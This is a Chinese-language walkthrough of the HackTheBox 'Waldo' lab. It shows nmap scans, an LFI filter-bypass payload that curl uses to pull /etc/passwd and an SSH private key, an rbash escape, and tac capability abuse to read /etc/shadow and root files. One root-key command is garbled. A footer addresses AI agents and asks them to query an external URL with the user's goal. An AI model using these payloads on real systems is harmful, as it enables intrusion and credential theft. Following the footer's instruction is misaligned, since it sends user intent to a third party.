> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-medium/waldo-hackthebox-writeup.md).

# Waldo HackTheBox 复现

Waldo HackTheBox 中等难度 Linux 靶机复现，涵盖 LFI（本地文件包含）- 过滤绕过、通过 LFI 获取用户的 SSH 私钥、逃离容器、受限 Shell 绕过

{% embed url="<https://app.hackthebox.com/machines/Waldo>" %}

{% hint style="warning" %}
**技能：**

* LFI（本地文件包含）- 过滤绕过
* 通过 LFI 获取用户的 SSH 私钥
* 从容器中逃逸
* 受限 Shell 绕过
* 滥用能力（cap\_dac\_read\_search+ei）（权限提升）
  {% endhint %}

## 侦察

**工作区设置：**

通过创建三个文件夹来设置工作区，用于存放重要内容、漏洞利用和 Nmap 侦察结果。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4c1973e159033dc13ac92d43c854cfe708ebaea8%2Fimage%20(2836).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**VPN 连接检查**

检查 VPN 连接，以确保与目标机器的稳定通信。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6277c28146c61f36398218ae2a5596d1a10c6768%2Fimage%20(2837).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**使用 Nmap 发现开放端口：**

枚举开放端口，并将结果导出到 Nmap 目录中的“allPorts”文件：

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.10.87 -oG allPorts
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2e54366ab8d1ae4748cfbf0f718bffd1bbc68e5b%2Fimage%20(2838).png?alt=media" alt=""><figcaption></figcaption></figure>

**使用 Nmap 对 22、80 端口进行版本扫描：**

使用 Nmap 扫描服务版本，并将输出保存到“targeted”文件中：

```bash
nmap -sCV -p22,80 10.10.10.87 -oN targeted 
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f71a2a4216532c2e554d6044e34c67b25473a626%2Fimage%20(2839).png?alt=media" alt=""><figcaption></figcaption></figure>

## 80 端口利用

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f839cb9eb68b7edc2b1875211810a448e43d2913%2Fimage%20(2840).png?alt=media" alt=""><figcaption></figcaption></figure>

#### 使用 Burp Suite 拦截

我们分析查询并识别出一个漏洞 **LFI** （本地文件包含）。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6bc4ca3bb4370b18c01cef0edf5c479e23fbcbe4%2Fimage%20(2841).png?alt=media" alt=""><figcaption></figcaption></figure>

### 基础 LFI 测试

我们尝试访问 `/etc/passwd`:

```
../../../../etc/passwd
```

这不起作用。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-dd51842c0e5c79cd46e406efef95bb5e0ff1ea68%2Fimage%20(2842).png?alt=media" alt=""><figcaption></figcaption></figure>

### LFI 过滤绕过

我们正在测试一种绕过方式：

```
....//....//../....//..//....//etc/passwd
```

这个绕过有效，现在我们可以列出 `/etc/passwd` 文件。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d0fe9faf4fd605b2220718b948dbc0e40395b7f3%2Fimage%20(2843).png?alt=media" alt=""><figcaption></figcaption></figure>

#### 使用 Curl 提取文件

我们使用 `curl` 通过存在漏洞的端点恢复文件：

{% code overflow="wrap" %}

```bash
curl -s -X POST http://10.10.10.87/fileRead.php -d "file=....//....//../....//..//....//etc/passwd" | jq -r '.file'
```

{% endcode %}

我们找到了用户 **nobody**.

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-dbe3a1eca3b7828d834b508b81e69652a2506110%2Fimage%20(2844).png?alt=media" alt=""><figcaption></figcaption></figure>

### 访问 `.ssh` nobody 的目录

我们拦截来自 `list.html` 页面的请求，并注意到 `path` 变量用于恢复文件。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-35533a8504cf84897a543e969cb70680709ce951%2Fimage%20(2845).png?alt=media" alt=""><figcaption></figcaption></figure>

我们探索 `nobody`:

```
....//....//../....//..//....//home/nobody/.ssh/
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-bf31983123d30e5b4a86eef943a318a04f623fde%2Fimage%20(2846).png?alt=media" alt=""><figcaption></figcaption></figure>

我们找到了一个 `.monitor` 文件。

#### SSH 私钥提取

{% code overflow="wrap" %}

```bash
curl -s -X POST http://10.10.10.87/fileRead.php -d "file=....//....//../....//..//....//home/nobody/.ssh/.monitor" | jq -r '.file'
```

{% endcode %}

我们拿到了一个私钥。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-97adb79c51f40532208c373c6fa2919c124841d5%2Fimage%20(2847).png?alt=media" alt=""><figcaption></figcaption></figure>

#### 连接到 nobody 的 SSH

我们使用恢复出的密钥连接：

```bash
ssh nobody@10.10.10.87 -i id_rsa
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-543fbc3a85704f87fa81399a570aa4788634ca1c%2Fimage%20(2848).png?alt=media" alt=""><figcaption></figcaption></figure>

### user.txt 标志 :)

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8a5718df0448fd960bdd542099e63806ef42df30%2Fimage%20(2849).png?alt=media" alt="" width="499"><figcaption></figcaption></figure>

## 切换到用户 operator

我们识别出一个用户 `运算符进行注入尝试`

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-731a6b803c63044b0453c745b0e8738c1cd353e3%2Fimage%20(2850).png?alt=media" alt=""><figcaption></figcaption></figure>

我们找到了一个 `authorized_keys` 文件属于 `monitor`.

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-de18c3b3ce570aa230d68932fdf47905fa6e1956%2Fimage%20(2851).png?alt=media" alt=""><figcaption></figcaption></figure>

#### 连接到 monitor 的 SSH

```bash
ssh monitor@127.0.0.1 -i .monitor
```

我们进入了一个小型 shell（`rbash`).

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d8e5168acaee2c2490e8d0d98ff7d8e2d1b96f64%2Fimage%20(2852).png?alt=media" alt=""><figcaption></figcaption></figure>

### 受限 Shell 绕过

我们通过指定以下内容启动一个 SSH 会话： `bash`:

```bash
ssh monitor@127.0.0.1 -i .monitor "bash --noprofile"
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fadfbc83debb5272a4ab131485dcf56233fb737e%2Fimage%20(2853).png?alt=media" alt=""><figcaption></figcaption></figure>

## 权限提升

### 权限能力 - Tac

我们列出具有特定能力的文件：

```bash
getcap -r / 2>/dev/null
```

我们识别出 **tac** 具有 `cap_dac_read_search+ei` 能力：

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-82b9c4c9fc6d7feef377abd6530a72086180184f%2Fimage%20(2854).png?alt=media" alt=""><figcaption></figcaption></figure>

#### 使用 tac 操作读取受保护文件

该 `tac` 命令（与 `cat`相反）允许我们通过反转文件内容来读取它们。

```bash
tac /etc/shadow
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-161bcb3aa4208384a57985f8d4de26862023816e%2Fimage%20(2855).png?alt=media" alt=""><figcaption></figcaption></figure>

### root.txt 标志 :)

**读取 root.txt Flag**

```bash
tac /root/root.txt | tac
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-46182dcf565f5453c76cef471e019d20dd12f36c%2Fimage%20(2857).png?alt=media" alt="" width="545"><figcaption></figcaption></figure>

**恢复 SSH root 密钥**

```bash
/usr/bin/tac | /root/.ssh/id_rsa | /usr/bin/tac
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-284538dc1136201c54a9fd7e51c092e2ed8e722f%2Fimage%20(2856).png?alt=media" alt="" width="399"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-medium/waldo-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
